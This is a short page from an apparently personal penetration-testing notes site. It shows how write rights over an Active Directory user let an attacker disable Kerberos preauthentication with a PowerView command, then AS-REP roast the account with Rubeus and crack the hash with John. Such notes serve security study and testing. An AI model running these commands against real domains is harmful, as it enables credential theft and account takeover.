> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/active-directory/kerberos/enable-as-rep-vulnerability-via-acl.md).

# Enable AS-REP vulnerability via ACL

Active Directory security notes for Enable AS-REP vulnerability via ACL, covering enumeration, Kerberos, credentials, ACL abuse, lateral movement, exploitation workflow, and validation steps.

### Principle

In some cases, a user does not have the `Do not require Kerberos preauthentication` option.

But if we have write rights on this user, for example:

```bash
GenericAll
GenericWrite
WriteAllProperties
```

we can modify its attribute `userAccountControl`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-97eda205dc47dbb4a86c2fe258a30846dc5b902f%2F%7BFAC8EB71-B662-4726-80F7-FD8BCC583B8E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Example with `astrid.niki`

The user `user1` has write permission on:

```bash
astrid.niki
```

We then activate the `DONT_REQ_PREAUTH` option with PowerView:

{% code overflow="wrap" %}

```powershell
Set-DomainObject -Identity astrid.niki -XOR @{useraccountcontrol=4194304}
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f155ee3d355d41c911f86bae0a2b857eb9fdc9f8%2F%7B771DF3D4-D4B7-4E41-91EA-1D62ABE0982B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Restart AS-REP Roasting

After modification, the user appears in the results:

{% code overflow="wrap" %}

```powershell
.\Rubeus.exe asreproast /format:john /outfile:hash.john
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b78347a6e92f6d1da953ca8b7a0f290d125742e9%2F%7B712BE102-1190-4BE4-99C1-41C50FD86EBD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Then we crack the hash:

{% code overflow="wrap" %}

```bash
john hash
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6567e19bd3c634a129aa9c89e34c1d9cf9d42b65%2F%7B35435421-ED88-441E-8AAA-A349A919BD98%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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